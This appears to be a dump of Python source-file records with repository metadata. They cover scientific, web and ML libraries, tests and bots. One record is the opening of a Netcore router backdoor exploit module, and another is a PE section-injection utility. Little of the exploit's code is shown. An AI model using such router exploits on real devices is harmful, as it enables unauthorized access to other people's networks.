nni/retiarii/integration.py
sharpe5/nni
8f2dae23a3eb83a0f472a9bd8c9c3629445bd711
[ "MIT" ]
1
2021-09-14T21:29:11.000Z
2021-09-14T21:29:11.000Z
import logging import os from typing import Any, Callable import json_tricks from nni.runtime.msg_dispatcher_base import MsgDispatcherBase from nni.runtime.protocol import CommandType, send from nni.utils import MetricType from .graph import MetricData from .execution.base import BaseExecutionEngine from .execution.c...
35.323944
120
0.656699
import logging import os from typing import Any, Callable import json_tricks from nni.runtime.msg_dispatcher_base import MsgDispatcherBase from nni.runtime.protocol import CommandType, send from nni.utils import MetricType from .graph import MetricData from .execution.base import BaseExecutionEngine from .execution.c...
true
true
f75b46c4b7e4bba11be944ecbab2afe5c599daa6
4,001
py
Python
script/sync_module_docs.py
Gkdnz/SfePy
a3a39d4e087705e9e0e8884cbf63513a2ded2108
[ "BSD-3-Clause" ]
null
null
null
script/sync_module_docs.py
Gkdnz/SfePy
a3a39d4e087705e9e0e8884cbf63513a2ded2108
[ "BSD-3-Clause" ]
null
null
null
script/sync_module_docs.py
Gkdnz/SfePy
a3a39d4e087705e9e0e8884cbf63513a2ded2108
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python """ Synchronize the documentation files in a given directory ``doc_dir`` with the actual state of the SfePy sources in ``top_dir``. Missing files are created, files with no corresponding source file are removed, other files are left untouched. Notes ----- The developer guide needs to be edited ma...
30.541985
77
0.569608
import sys sys.path.append('.') import os import fnmatch from optparse import OptionParser from sfepy.base.base import output from sfepy.base.ioutils import locate_files, edit_filename, ensure_path usage = '%prog [options] doc_dir top_dir\n' + __doc__.rstrip() omits = [ '__init__.py', '__config__.py', 'd...
true
true
f75b46cd79ec00546c2f3ff8065c8e3a970b03d7
405
py
Python
onadata/libs/data/db.py
gushil/kobocat
5ce27ed5fbf969b2ce68e8a59dd97ced74686711
[ "BSD-2-Clause" ]
38
2017-02-28T05:39:40.000Z
2019-01-16T04:39:04.000Z
onadata/libs/data/db.py
gushil/kobocat
5ce27ed5fbf969b2ce68e8a59dd97ced74686711
[ "BSD-2-Clause" ]
48
2019-03-18T09:26:31.000Z
2019-05-27T08:12:03.000Z
onadata/libs/data/db.py
gushil/kobocat
5ce27ed5fbf969b2ce68e8a59dd97ced74686711
[ "BSD-2-Clause" ]
5
2017-02-22T12:25:19.000Z
2019-01-15T11:16:40.000Z
''' from south.db import db def rename_table_pending_creates(old_name, new_name): """Replace app name in db.pending_create_signals to avoid crashing out at the end of the migration. """ create_signals = db.get_pending_creates() for i in xrange(0, len(create_signals)): if create_signals[i][...
28.928571
70
0.681481
true
true
f75b47b894bd93af16bd88d934526e93c14e8e30
667
py
Python
src/telliot/datafeed/db.py
oraclown/pytelliot-test
0f44e5f6d0ef3fe132b2dc0b7fd64c71b10556b0
[ "MIT" ]
2
2021-09-07T15:14:48.000Z
2021-09-07T15:18:12.000Z
src/telliot/datafeed/db.py
oraclown/pytelliot-test
0f44e5f6d0ef3fe132b2dc0b7fd64c71b10556b0
[ "MIT" ]
null
null
null
src/telliot/datafeed/db.py
oraclown/pytelliot-test
0f44e5f6d0ef3fe132b2dc0b7fd64c71b10556b0
[ "MIT" ]
1
2021-09-02T20:53:58.000Z
2021-09-02T20:53:58.000Z
""" Feeder database module This module creates a database with a model to store off-chain data. """ import databases import sqlalchemy DATABASE_URL = "sqlite:///./test.db" database = databases.Database(DATABASE_URL) metadata = sqlalchemy.MetaData() offchain = sqlalchemy.Table( "offchain", metadata, sq...
23
68
0.743628
import databases import sqlalchemy DATABASE_URL = "sqlite:///./test.db" database = databases.Database(DATABASE_URL) metadata = sqlalchemy.MetaData() offchain = sqlalchemy.Table( "offchain", metadata, sqlalchemy.Column("id", sqlalchemy.Integer, primary_key=True), sqlalchemy.Column("uid", sqlalchemy....
true
true
f75b47c7f95f24ff376ecb591a14418486856aa4
8,255
py
Python
nilearn/_utils/cache_mixin.py
hanke/nilearn
96a3f0f72b4f25af771116251324cbec4c0d2055
[ "BSD-2-Clause" ]
1
2020-12-20T00:22:14.000Z
2020-12-20T00:22:14.000Z
nilearn/_utils/cache_mixin.py
hanke/nilearn
96a3f0f72b4f25af771116251324cbec4c0d2055
[ "BSD-2-Clause" ]
3
2016-02-23T09:47:05.000Z
2018-10-12T16:54:38.000Z
nilearn/_utils/cache_mixin.py
hanke/nilearn
96a3f0f72b4f25af771116251324cbec4c0d2055
[ "BSD-2-Clause" ]
3
2017-01-06T09:54:00.000Z
2020-02-17T12:57:35.000Z
""" Mixin for cache with joblib """ # Author: Gael Varoquaux, Alexandre Abraham, Philippe Gervais # License: simplified BSD import json import warnings import os import shutil from distutils.version import LooseVersion import nibabel from sklearn.externals.joblib import Memory MEMORY_CLASSES = (Memory, ) try: f...
36.688889
79
0.618655
import json import warnings import os import shutil from distutils.version import LooseVersion import nibabel from sklearn.externals.joblib import Memory MEMORY_CLASSES = (Memory, ) try: from joblib import Memory as JoblibMemory MEMORY_CLASSES = (Memory, JoblibMemory) except ImportError: pass import ni...
true
true
f75b49454174671d7ee5c6586e07cfc368b2d6d8
6,211
py
Python
EXP/netcore_backdoor.py
Octoberr/swm0920
8f05a6b91fc205960edd57f9076facec04f49a1a
[ "Apache-2.0" ]
2
2019-05-19T11:54:26.000Z
2019-05-19T12:03:49.000Z
EXP/netcore_backdoor.py
Octoberr/swm0920
8f05a6b91fc205960edd57f9076facec04f49a1a
[ "Apache-2.0" ]
1
2020-11-27T07:55:15.000Z
2020-11-27T07:55:15.000Z
EXP/netcore_backdoor.py
Octoberr/swm0920
8f05a6b91fc205960edd57f9076facec04f49a1a
[ "Apache-2.0" ]
2
2021-09-06T18:06:12.000Z
2021-12-31T07:44:43.000Z
#coding: utf-8 ''' @Test list: NW774 ''' from routelib import * from exp_template import * import socket import struct class Level(Enum): info = 0 debug = 1 error = 2 warming = 3 success = 4 level_string = ['[Info]', '[Debug]', '[Error]', '[Warming]', '[Success]'] class netcore_backdoor(Explo...
31.527919
141
0.545967
''' @Test list: NW774 ''' from routelib import * from exp_template import * import socket import struct class Level(Enum): info = 0 debug = 1 error = 2 warming = 3 success = 4 level_string = ['[Info]', '[Debug]', '[Error]', '[Warming]', '[Success]'] class netcore_backdoor(Exploit): def __...
false
true
f75b49adeeb7be0a0f3311f3e2f91052601a7611
831
py
Python
application/maps/__init__.py
dericf/yardsale-manager-ap
c0c499c235bae2850a99527ef01ab20facee22d9
[ "MIT" ]
null
null
null
application/maps/__init__.py
dericf/yardsale-manager-ap
c0c499c235bae2850a99527ef01ab20facee22d9
[ "MIT" ]
1
2021-06-02T04:06:29.000Z
2021-06-02T04:06:29.000Z
application/maps/__init__.py
dericf/yardsale-manager-api
c0c499c235bae2850a99527ef01ab20facee22d9
[ "MIT" ]
null
null
null
from flask import Blueprint # import googlemaps from config import CONFIG as conf CONFIG = conf() # gmaps = googlemaps.Client(key=CONFIG.GOOGLE_MAPS_API_KEY) # Geocoding an address # geocode_result = gmaps.geocode('1600 Amphitheatre Parkway, Mountain View, CA') # Look up an address with reverse geocoding reverse_...
27.7
80
0.66065
from flask import Blueprint from config import CONFIG as conf CONFIG = conf() reverse_geocode_result = [] maps_blueprint = Blueprint(__name__, 'maps_blueprint') from . import routes
true
true
f75b4a15db953e42ceee20749423ca95c0235921
2,083
py
Python
packages/python/yap_kernel/yap_ipython/utils/decorators.py
ryandesign/yap
9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214
[ "Artistic-1.0-Perl", "ClArtistic" ]
90
2015-03-09T01:24:15.000Z
2022-02-24T13:56:25.000Z
packages/python/yap_kernel/yap_ipython/utils/decorators.py
ryandesign/yap
9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214
[ "Artistic-1.0-Perl", "ClArtistic" ]
52
2016-02-14T08:59:37.000Z
2022-03-14T16:39:35.000Z
packages/python/yap_kernel/yap_ipython/utils/decorators.py
ryandesign/yap
9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214
[ "Artistic-1.0-Perl", "ClArtistic" ]
27
2015-11-19T02:45:49.000Z
2021-11-25T19:47:58.000Z
# encoding: utf-8 """Decorators that don't go anywhere else. This module contains misc. decorators that don't really go with another module in :mod:`yap_ipython.utils`. Beore putting something here please see if it should go into another topical module in :mod:`yap_ipython.utils`. """ #-------------------------------...
35.305085
81
0.539606
def flag_calls(func): if hasattr(func, 'called'): return func def wrapper(*args,**kw): wrapper.called = False out = func(*args,**kw) wrapper.called = True return out wrapper.called = False wrapper.__doc__ = func.__doc__ return wrapper def undoc...
true
true
f75b4a820fad64a6013f3d5bfc17672147e3b11d
634
py
Python
onlyyou/users/forms.py
sv-team-yourchef/Server
8d08239c6a1f6229254e0e9f241143f47026dd5b
[ "MIT" ]
2
2019-08-09T04:09:35.000Z
2019-08-22T01:12:40.000Z
onlyyou/users/forms.py
sv-team-yourchef/Server
8d08239c6a1f6229254e0e9f241143f47026dd5b
[ "MIT" ]
17
2019-08-07T20:13:54.000Z
2021-10-12T22:07:42.000Z
onlyyou/users/forms.py
sv-team-yourchef/Server
8d08239c6a1f6229254e0e9f241143f47026dd5b
[ "MIT" ]
1
2019-08-09T04:09:39.000Z
2019-08-09T04:09:39.000Z
from django import forms from django.contrib.auth.models import User from django.contrib.auth.forms import UserCreationForm from .models import Profile class UserRegisterForm(UserCreationForm): email = forms.EmailField() class Meta: model = User fields = ['username', 'email', 'password1', 'pa...
24.384615
64
0.675079
from django import forms from django.contrib.auth.models import User from django.contrib.auth.forms import UserCreationForm from .models import Profile class UserRegisterForm(UserCreationForm): email = forms.EmailField() class Meta: model = User fields = ['username', 'email', 'password1', 'pa...
true
true
f75b4b8f8b9c555b2b22290c17f4b7bfaa14c619
12,886
py
Python
hytra/core/divisionfeatures.py
m-novikov/hytra
0dc28deaa2571fa8bea63ca178f0e53cc1cd7508
[ "MIT" ]
null
null
null
hytra/core/divisionfeatures.py
m-novikov/hytra
0dc28deaa2571fa8bea63ca178f0e53cc1cd7508
[ "MIT" ]
null
null
null
hytra/core/divisionfeatures.py
m-novikov/hytra
0dc28deaa2571fa8bea63ca178f0e53cc1cd7508
[ "MIT" ]
null
null
null
import numpy as np import math def dotproduct(v1, v2): return sum((a * b) for a, b in zip(v1, v2)) def length(v): return math.sqrt(dotproduct(v, v)) def angle(v1, v2): try: if length(v1) * length(v2) == 0: radians = 0 else: radians = math.acos(dotproduct(v1, v2)...
33.732984
123
0.565032
import numpy as np import math def dotproduct(v1, v2): return sum((a * b) for a, b in zip(v1, v2)) def length(v): return math.sqrt(dotproduct(v, v)) def angle(v1, v2): try: if length(v1) * length(v2) == 0: radians = 0 else: radians = math.acos(dotproduct(v1, v2)...
true
true
f75b4bdf71995e9928e8eac3c10499034e6a7efc
10,785
py
Python
third_party/webrtc/src/chromium/src/tools/isolate_driver.py
bopopescu/webrtc-streaming-node
727a441204344ff596401b0253caac372b714d91
[ "MIT" ]
27
2016-04-27T01:02:03.000Z
2021-12-13T08:53:19.000Z
third_party/webrtc/src/chromium/src/tools/isolate_driver.py
bopopescu/webrtc-streaming-node
727a441204344ff596401b0253caac372b714d91
[ "MIT" ]
2
2017-03-09T09:00:50.000Z
2017-09-21T15:48:20.000Z
third_party/webrtc/src/chromium/src/tools/isolate_driver.py
bopopescu/webrtc-streaming-node
727a441204344ff596401b0253caac372b714d91
[ "MIT" ]
17
2016-04-27T02:06:39.000Z
2019-12-18T08:07:00.000Z
#!/usr/bin/env python # Copyright 2014 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Adaptor script called through build/isolate.gypi. Creates a wrapping .isolate which 'includes' the original one, that can be consum...
34.347134
80
0.677051
import glob import json import logging import os import posixpath import StringIO import subprocess import sys import time TOOLS_DIR = os.path.dirname(os.path.abspath(__file__)) SWARMING_CLIENT_DIR = os.path.join(TOOLS_DIR, 'swarming_client') SRC_DIR = os.path.dirname(TOOLS_DIR) sys.path.insert(0, SWARMING_CLIENT_D...
true
true
f75b4bf4d77540fb8b99102b72e0db91cee025f3
20,600
py
Python
Lib/test/test_fileio.py
vmssoftware/cpython
b5d2c7f578d33963798a02ca32f0c151c908aa7c
[ "0BSD" ]
2
2021-10-06T15:46:53.000Z
2022-01-26T02:58:54.000Z
Lib/test/test_fileio.py
vmssoftware/cpython
b5d2c7f578d33963798a02ca32f0c151c908aa7c
[ "0BSD" ]
null
null
null
Lib/test/test_fileio.py
vmssoftware/cpython
b5d2c7f578d33963798a02ca32f0c151c908aa7c
[ "0BSD" ]
null
null
null
# Adapted from test_file.py by Daniel Stutzbach import sys import os import io import errno import unittest from array import array from weakref import proxy from functools import wraps from test.support import (run_unittest, cpython_only, swap_attr) from test.support.os_helper import (TESTFN, TESTFN_UNICODE, make_ba...
33.172303
84
0.552087
import sys import os import io import errno import unittest from array import array from weakref import proxy from functools import wraps from test.support import (run_unittest, cpython_only, swap_attr) from test.support.os_helper import (TESTFN, TESTFN_UNICODE, make_bad_fd) from test.support.warnings_helper import c...
true
true
f75b4c2098e34a488ae357b1ea58d97a456998ff
9,449
py
Python
Scripts/addsection.py
4k4xs4pH1r3/jitm
0a665fe9af6550d3ce7f4b5c5889ef056f19249d
[ "Apache-2.0" ]
25
2020-08-07T12:12:26.000Z
2021-09-11T21:37:09.000Z
Scripts/addsection.py
4k4xs4pH1r3/jitm
0a665fe9af6550d3ce7f4b5c5889ef056f19249d
[ "Apache-2.0" ]
1
2020-11-03T12:54:21.000Z
2020-11-05T03:26:19.000Z
Scripts/addsection.py
4k4xs4pH1r3/jitm
0a665fe9af6550d3ce7f4b5c5889ef056f19249d
[ "Apache-2.0" ]
18
2020-08-13T16:13:48.000Z
2021-06-04T05:16:17.000Z
''' This is a utility to add a section to a PE file. Given a binary file on disk, this utility will performs the following: - Check if the PE header has enough room for an additional section header - If not: - Grow the header by OPTIONAL_HEADER.FileAlignment bytes - Fix the PointerToRawData of all other sections ...
36.766537
129
0.651286
from __future__ import print_function import argparse import pefile import struct import os SECTION_HEADER_SIZE = 0x28 SECTION_HEADER_START = 0x178 IMAGE_SCN_CNT_CODE = 0x00000020 IMAGE_SCN_CNT_INITIALIZED_DATA = 0x00000040 IMAGE_SCN_MEM_READ = 0x40000000 ...
true
true
f75b4d759f98e9eb0b8c0bf16c2aad2126677631
328
py
Python
dataPrep/InitialMapping/split_mhb.py
strumswell/modcat-prototyp
0726f86b760f8ff9aff89a3c085f479a761c46ae
[ "MIT" ]
2
2020-10-15T14:07:37.000Z
2021-02-11T14:07:26.000Z
dataPrep/InitialMapping/split_mhb.py
strumswell/modcat-prototyp
0726f86b760f8ff9aff89a3c085f479a761c46ae
[ "MIT" ]
2
2020-06-08T08:31:31.000Z
2020-09-12T15:18:20.000Z
dataPrep/InitialMapping/split_mhb.py
strumswell/modcat-prototyp
0726f86b760f8ff9aff89a3c085f479a761c46ae
[ "MIT" ]
1
2021-01-22T16:54:25.000Z
2021-01-22T16:54:25.000Z
mhb_file = open("mhb_gesamt.txt","r",encoding="utf8") mhb_gesamt = mhb_file.read() mhb_file.close() modDescrSeq = mhb_gesamt.split("Modulbezeichnung: ") i = 1 while i<len(modDescrSeq): fileName = "ModDescr_" + str(i) file = open(fileName + ".txt","w") file.write(modDescrSeq[i].strip()) file.close() ...
27.333333
53
0.655488
mhb_file = open("mhb_gesamt.txt","r",encoding="utf8") mhb_gesamt = mhb_file.read() mhb_file.close() modDescrSeq = mhb_gesamt.split("Modulbezeichnung: ") i = 1 while i<len(modDescrSeq): fileName = "ModDescr_" + str(i) file = open(fileName + ".txt","w") file.write(modDescrSeq[i].strip()) file.close() ...
true
true
f75b4df362a347ba8a49698513d592dfad9f0145
1,380
py
Python
sdk/python/pulumi_kubernetes/core/v1/PersistentVolumeClaimList.py
rosskevin/pulumi-kubernetes
e4fa04b13a20929c879aca1bbe58fb5a95d16f7c
[ "Apache-2.0" ]
null
null
null
sdk/python/pulumi_kubernetes/core/v1/PersistentVolumeClaimList.py
rosskevin/pulumi-kubernetes
e4fa04b13a20929c879aca1bbe58fb5a95d16f7c
[ "Apache-2.0" ]
null
null
null
sdk/python/pulumi_kubernetes/core/v1/PersistentVolumeClaimList.py
rosskevin/pulumi-kubernetes
e4fa04b13a20929c879aca1bbe58fb5a95d16f7c
[ "Apache-2.0" ]
null
null
null
import pulumi import pulumi.runtime from ... import tables class PersistentVolumeClaimList(pulumi.CustomResource): """ PersistentVolumeClaimList is a list of PersistentVolumeClaim items. """ def __init__(self, __name__, __opts__=None, items=None, metadata=None): if not __name__: ra...
36.315789
89
0.671739
import pulumi import pulumi.runtime from ... import tables class PersistentVolumeClaimList(pulumi.CustomResource): def __init__(self, __name__, __opts__=None, items=None, metadata=None): if not __name__: raise TypeError('Missing resource name argument (for URN creation)') if not isinst...
true
true
f75b4fe3407c8fc3a3b8aca77ea223a422c27dbd
3,309
py
Python
codes/JDA/JDA.py
mrsempress/transfer_learning
217622ca3052b6c79a07792e627394c08440ec84
[ "Apache-2.0" ]
4
2020-04-11T04:56:49.000Z
2022-03-05T04:11:44.000Z
codes/JDA/JDA.py
mrsempress/transfer_learning
217622ca3052b6c79a07792e627394c08440ec84
[ "Apache-2.0" ]
null
null
null
codes/JDA/JDA.py
mrsempress/transfer_learning
217622ca3052b6c79a07792e627394c08440ec84
[ "Apache-2.0" ]
null
null
null
# encoding=utf-8 """ Created on 9:38 2019/07/16 @author: Chenxi Huang It implements "Transfer Feature Learning with Joint Distribution Adaptation" Refer to Long Mingsheng's(the writer) code in Matlab """ import numpy as np import os import scipy.io import scipy.linalg import sklearn.metrics from sklearn...
37.602273
120
0.594137
import numpy as np import os import scipy.io import scipy.linalg import sklearn.metrics from sklearn import preprocessing from sklearn.neighbors import KNeighborsClassifier import Network import Log def work(source, target, gpu, _k=100, _lambd=1.0, _ker='primal', _gamma=1.0): log = Log.Log() log.set_dir('...
true
true
f75b50b3e23bbb7d562d31688c5c401af29202f5
2,330
py
Python
discordbot.py
rami-mirai/discordpy-startup
5838c9bf15588ff5872138ded42ba7b9a03d8d79
[ "MIT" ]
null
null
null
discordbot.py
rami-mirai/discordpy-startup
5838c9bf15588ff5872138ded42ba7b9a03d8d79
[ "MIT" ]
null
null
null
discordbot.py
rami-mirai/discordpy-startup
5838c9bf15588ff5872138ded42ba7b9a03d8d79
[ "MIT" ]
null
null
null
from discord.ext import commands import os bot = commands.Bot(command_prefix='/') token = os.environ['DISCORD_BOT_TOKEN'] @bot.event async def on_message(message): if message.author.bot: return if message.content == ('$mjoha'): await message.channel.send("<@588392127919161357>"+'おはよう:heart:') ...
41.607143
140
0.660086
from discord.ext import commands import os bot = commands.Bot(command_prefix='/') token = os.environ['DISCORD_BOT_TOKEN'] @bot.event async def on_message(message): if message.author.bot: return if message.content == ('$mjoha'): await message.channel.send("<@588392127919161357>"+'おはよう:heart:') ...
true
true
f75b5146ec264520b8eb45a0637022bd1a78226d
12,040
py
Python
solnml/components/models/object_detection/nn_utils/retinanet.py
zhengjian2322/soln-ml
ceff6c432921df9809f9552aaa1b0bd5a1b7e8d2
[ "MIT" ]
null
null
null
solnml/components/models/object_detection/nn_utils/retinanet.py
zhengjian2322/soln-ml
ceff6c432921df9809f9552aaa1b0bd5a1b7e8d2
[ "MIT" ]
null
null
null
solnml/components/models/object_detection/nn_utils/retinanet.py
zhengjian2322/soln-ml
ceff6c432921df9809f9552aaa1b0bd5a1b7e8d2
[ "MIT" ]
null
null
null
""" RetinaNet code borrowed from https://github.com/yhenon/pytorch-retinanet/blob/master/retinanet/model.py """ import torch.nn as nn import torch import math import torch.utils.model_zoo as model_zoo from torchvision.ops import nms from .retinanet_utils import BasicBlock, Bottleneck, BBoxTransform, ClipBoxes, Anchors...
35.727003
118
0.63314
import torch.nn as nn import torch import math import torch.utils.model_zoo as model_zoo from torchvision.ops import nms from .retinanet_utils import BasicBlock, Bottleneck, BBoxTransform, ClipBoxes, Anchors, FocalLoss model_urls = { 'resnet18': 'https://download.pytorch.org/models/resnet18-5c106cde.pth', 're...
true
true
f75b5161563b82c42086f8b5a07d0840220a7cb1
5,072
py
Python
tests/test_taxonomies.py
hishamnajam/python-wordpress-xmlrpc
8270a9f629b7d097e59ac5c649f41c8c1ee322a8
[ "MIT" ]
218
2015-01-12T02:05:07.000Z
2022-03-27T19:11:10.000Z
tests/test_taxonomies.py
kholidfu/python-wordpress-xmlrpc
7ac0a6e9934fdbf02c2250932e0c026cf530d400
[ "MIT" ]
80
2015-01-17T18:52:05.000Z
2022-03-06T18:09:17.000Z
tests/test_taxonomies.py
kholidfu/python-wordpress-xmlrpc
7ac0a6e9934fdbf02c2250932e0c026cf530d400
[ "MIT" ]
90
2015-01-25T22:41:37.000Z
2022-02-25T14:20:29.000Z
from nose.plugins.attrib import attr from tests import WordPressTestCase from wordpress_xmlrpc.methods import taxonomies from wordpress_xmlrpc.wordpress import WordPressTaxonomy, WordPressTerm class TestTaxonomies(WordPressTestCase): @attr('taxonomies') @attr('pycompat') def test_taxonomy_repr(self): ...
32.305732
94
0.62362
from nose.plugins.attrib import attr from tests import WordPressTestCase from wordpress_xmlrpc.methods import taxonomies from wordpress_xmlrpc.wordpress import WordPressTaxonomy, WordPressTerm class TestTaxonomies(WordPressTestCase): @attr('taxonomies') @attr('pycompat') def test_taxonomy_repr(self): ...
true
true
f75b518919adbc991a9b1136ecd4044466815fb6
31,127
py
Python
manila/tests/share/drivers/hpe/test_hpe_3par_driver.py
scottwedge/manila-base
dcb972cfad38b2826301b7ca86062689577e32e3
[ "Apache-2.0" ]
null
null
null
manila/tests/share/drivers/hpe/test_hpe_3par_driver.py
scottwedge/manila-base
dcb972cfad38b2826301b7ca86062689577e32e3
[ "Apache-2.0" ]
1
2020-03-08T03:39:39.000Z
2020-03-08T03:39:39.000Z
manila/tests/share/drivers/hpe/test_hpe_3par_driver.py
scottwedge/manila-base
dcb972cfad38b2826301b7ca86062689577e32e3
[ "Apache-2.0" ]
1
2020-03-08T03:37:21.000Z
2020-03-08T03:37:21.000Z
# Copyright 2015 Hewlett Packard Enterprise Development LP # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requir...
40.319948
79
0.591095
import sys import ddt import mock if 'hpe3parclient' not in sys.modules: sys.modules['hpe3parclient'] = mock.Mock() from manila import exception from manila.share.drivers.hpe import hpe_3par_driver as hpe3pardriver from manila.share.drivers.hpe import hpe_3par_mediator as hpe3parmediator from manila import test ...
true
true
f75b5491598168bfd25f1b734c449b8802fd38c2
1,032
py
Python
src/multi_class/gradient_boosting.py
cassinius/right-to-forget-data
5aa3a480d93e66065118866f294f06e6cfd5d3a1
[ "Apache-2.0" ]
null
null
null
src/multi_class/gradient_boosting.py
cassinius/right-to-forget-data
5aa3a480d93e66065118866f294f06e6cfd5d3a1
[ "Apache-2.0" ]
null
null
null
src/multi_class/gradient_boosting.py
cassinius/right-to-forget-data
5aa3a480d93e66065118866f294f06e6cfd5d3a1
[ "Apache-2.0" ]
null
null
null
from sklearn import ensemble from src.multi_class import input_preproc from src.multi_class import calculate_metrics def runClassifier(X_train, X_test, y_train, y_test): # GRADIENT BOOSTING cls = ensemble.GradientBoostingClassifier( n_estimators=100, learning_rate=0.1, max_depth=5, verbose=0 ) ...
34.4
91
0.681202
from sklearn import ensemble from src.multi_class import input_preproc from src.multi_class import calculate_metrics def runClassifier(X_train, X_test, y_train, y_test): cls = ensemble.GradientBoostingClassifier( n_estimators=100, learning_rate=0.1, max_depth=5, verbose=0 ) predictions = cls....
true
true
f75b5593ee85ec3a6cd3362847264b93757bab0d
3,742
py
Python
tests/providers/google/marketing_platform/hooks/test_search_ads.py
daemon-demon/airflow
6f96e81f0123b30750fb68ec496246023bf63f35
[ "Apache-2.0" ]
1
2020-08-05T18:30:40.000Z
2020-08-05T18:30:40.000Z
tests/providers/google/marketing_platform/hooks/test_search_ads.py
daemon-demon/airflow
6f96e81f0123b30750fb68ec496246023bf63f35
[ "Apache-2.0" ]
20
2021-01-23T12:33:08.000Z
2021-12-07T22:30:37.000Z
tests/providers/google/marketing_platform/hooks/test_search_ads.py
daemon-demon/airflow
6f96e81f0123b30750fb68ec496246023bf63f35
[ "Apache-2.0" ]
1
2020-09-10T09:51:46.000Z
2020-09-10T09:51:46.000Z
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not...
38.57732
108
0.735436
from unittest import TestCase, mock from airflow.providers.google.marketing_platform.hooks.search_ads import GoogleSearchAdsHook from tests.providers.google.cloud.utils.base_gcp_mock import mock_base_gcp_hook_default_project_id API_VERSION = "v2" GCP_CONN_ID = "google_cloud_default" class TestSearchAdsHook(TestCase...
true
true
f75b5867e15111c918602a751b4a233f6a066649
25,680
py
Python
pandas/tests/indexes/datetimes/test_indexing.py
zhezherun/pandas
36c1104b7ad9761e020f7e8198eb60da4045d169
[ "BSD-3-Clause" ]
1
2018-11-11T22:18:13.000Z
2018-11-11T22:18:13.000Z
pandas/tests/indexes/datetimes/test_indexing.py
dkenward/pandas
1f02bf240c3d0d3da338af868d056bfc169b28c2
[ "BSD-3-Clause" ]
null
null
null
pandas/tests/indexes/datetimes/test_indexing.py
dkenward/pandas
1f02bf240c3d0d3da338af868d056bfc169b28c2
[ "BSD-3-Clause" ]
1
2021-06-21T07:51:29.000Z
2021-06-21T07:51:29.000Z
from datetime import datetime, time, timedelta import numpy as np import pytest import pytz import pandas.compat as compat import pandas as pd from pandas import DatetimeIndex, Index, Timestamp, date_range, notna import pandas.util.testing as tm from pandas.tseries.offsets import BDay, CDay START, END = datetime(2...
42.516556
79
0.520483
from datetime import datetime, time, timedelta import numpy as np import pytest import pytz import pandas.compat as compat import pandas as pd from pandas import DatetimeIndex, Index, Timestamp, date_range, notna import pandas.util.testing as tm from pandas.tseries.offsets import BDay, CDay START, END = datetime(2...
true
true
f75b58739433ab32a6336aa2afbcacc5f7466bad
6,379
py
Python
testcases/InstallHostOS.py
vaibhav92/op-test-framework
792fa18d3f09fd8c28073074815ff96d373ab96d
[ "Apache-2.0" ]
null
null
null
testcases/InstallHostOS.py
vaibhav92/op-test-framework
792fa18d3f09fd8c28073074815ff96d373ab96d
[ "Apache-2.0" ]
null
null
null
testcases/InstallHostOS.py
vaibhav92/op-test-framework
792fa18d3f09fd8c28073074815ff96d373ab96d
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python2 # OpenPOWER Automated Test Project # # Contributors Listed Below - COPYRIGHT 2018 # [+] International Business Machines Corp. # # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the Lic...
47.962406
125
0.531588
import unittest import os import OpTestConfiguration from common.OpTestUtil import OpTestUtil from common.OpTestSystem import OpSystemState from common import OpTestInstallUtil class InstallHostOS(unittest.TestCase): def setUp(self): self.conf = OpTestConfiguration.conf self.host = self.conf.ho...
true
true
f75b5a22adb7f26c0eb625e1a37e22baa7305eb4
1,451
py
Python
configs/_cvpr_aisafe_/swin/dataset.py
dowdyboy/mmclassification
5d28fda689782211184f678bad65cc1aee437c39
[ "Apache-2.0" ]
null
null
null
configs/_cvpr_aisafe_/swin/dataset.py
dowdyboy/mmclassification
5d28fda689782211184f678bad65cc1aee437c39
[ "Apache-2.0" ]
null
null
null
configs/_cvpr_aisafe_/swin/dataset.py
dowdyboy/mmclassification
5d28fda689782211184f678bad65cc1aee437c39
[ "Apache-2.0" ]
null
null
null
# dataset settings dataset_type = 'MyCvprRobust' img_norm_cfg = dict( mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True) train_pipeline = [ dict(type='LoadImageFromFile'), dict( type='RandomResizedCrop', size=384, backend='pillow', interpolation='bicubi...
25.45614
77
0.669194
dataset_type = 'MyCvprRobust' img_norm_cfg = dict( mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True) train_pipeline = [ dict(type='LoadImageFromFile'), dict( type='RandomResizedCrop', size=384, backend='pillow', interpolation='bicubic'), dict(type=...
true
true
f75b5a9604949c16810edcc36e9861e14163a602
1,648
py
Python
Python/rsa-encrypt-decrypt.py
astro-ravi/Hacktoberfest2021-1
0b3c3a535cab43c7334d7465a76d35d584aaa349
[ "MIT" ]
20
2021-10-06T13:51:46.000Z
2021-11-11T16:12:17.000Z
Python/rsa-encrypt-decrypt.py
astro-ravi/Hacktoberfest2021-1
0b3c3a535cab43c7334d7465a76d35d584aaa349
[ "MIT" ]
42
2021-10-08T09:49:17.000Z
2021-10-21T23:18:39.000Z
Python/rsa-encrypt-decrypt.py
astro-ravi/Hacktoberfest2021-1
0b3c3a535cab43c7334d7465a76d35d584aaa349
[ "MIT" ]
97
2021-10-06T13:04:34.000Z
2021-11-11T16:12:21.000Z
# Following is the implementation of RSA Encryption and Decryption Algorithm # Input any number as plaintext # The public and private keys change everytime as we generate random prime numbers everytime # Eg: # Enter message to encrypt: 234 # Public Key: e = 4205, n = 23213 # Private Key: d = 8297, n = 23213 # Ciphertex...
25.353846
92
0.645631
import sympy.ntheory as nt import random def modularInverse(e, m): for x in range(1, m): if ((e % m) * (x % m)) % m == 1: return x return -1 def gcd(a, b): while b != 0: a, b = b, a % b return a minPrime = 0 maxPrime = 1000 cached_primes = [i for i in range(minPrime, ma...
true
true
f75b5aee229cde4db578db8a2af63e7add7c75ef
727
py
Python
instaclone/notifications/migrations/0002_auto_20180213_2223.py
chois9105/instaclone
20b1852c05eddf018dcdfffa5a3fc355a70ade9a
[ "MIT" ]
null
null
null
instaclone/notifications/migrations/0002_auto_20180213_2223.py
